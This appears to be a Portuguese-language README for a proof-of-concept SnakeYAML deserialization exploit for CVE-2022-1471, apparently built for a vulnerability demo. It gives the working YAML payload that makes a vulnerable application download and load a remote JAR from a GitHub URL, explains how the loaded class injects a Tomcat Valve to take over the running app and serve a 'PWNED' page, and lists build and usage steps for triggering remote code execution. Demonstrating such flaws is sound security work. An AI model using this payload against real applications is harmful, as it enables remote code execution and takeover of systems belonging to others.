yaml-payload

Um payload de exploração de desserialização SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente baseado em mbechler/marshalsec).

O que ele faz

Quando carregado via Yaml.load() inseguro do SnakeYAML, este payload assume o controle da aplicação em execução e a substitui por uma página "You've Been PWNED":

1. Injeta uma Tomcat Valve na aplicação Spring Boot em execução via reflexão, sequestrando a porta 8080 existente — a mesma URL (incluindo qualquer túnel ngrok) agora serve a página PWNED
2. Redireciona o navegador automaticamente — a resposta POST envia um redirecionamento 302, então o navegador carrega imediatamente a página PWNED sem atualização manual
3. Abre o navegador automaticamente na URL correta (URL pública do ngrok se disponível, caso contrário localhost:8080)
4. Imprime evidências da exploração no console/logs de CI

Se a injeção de Tomcat Valve não estiver disponível (por exemplo, aplicação não-Spring), ele recorre a iniciar um servidor HTTP autônomo na porta 9999 e cria automaticamente um túnel ngrok se o ngrok estiver em execução.

Isso funciona tanto localmente no macOS quanto em pipelines de CI/CD (por exemplo, GitHub Actions no Ubuntu).

Como a cadeia de exploração funciona

O payload SnakeYAML aciona ScriptEngineManager via SPI Java (Service Provider Interface):

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]

1. O SnakeYAML instancia java.net.URL apontando para o yaml-payload.jar deste repositório
2. Envolve-o em um URLClassLoader para carregar classes remotas
3. O ScriptEngineManager descobre e carrega AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory
4. O construtor da factory injeta uma Valve no pipeline Tomcat em execução, substituindo toda resposta subsequente em / pela página PWNED

Compilação

Requer JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Uso

Usado como o payload de exploração no projeto maven-demo. Cole a string do payload no campo de nome do aplicativo para acionar o RCE. A página do aplicativo será substituída pela página PWNED na próxima requisição. Consulte o README desse repositório para obter as instruções completas da demonstração.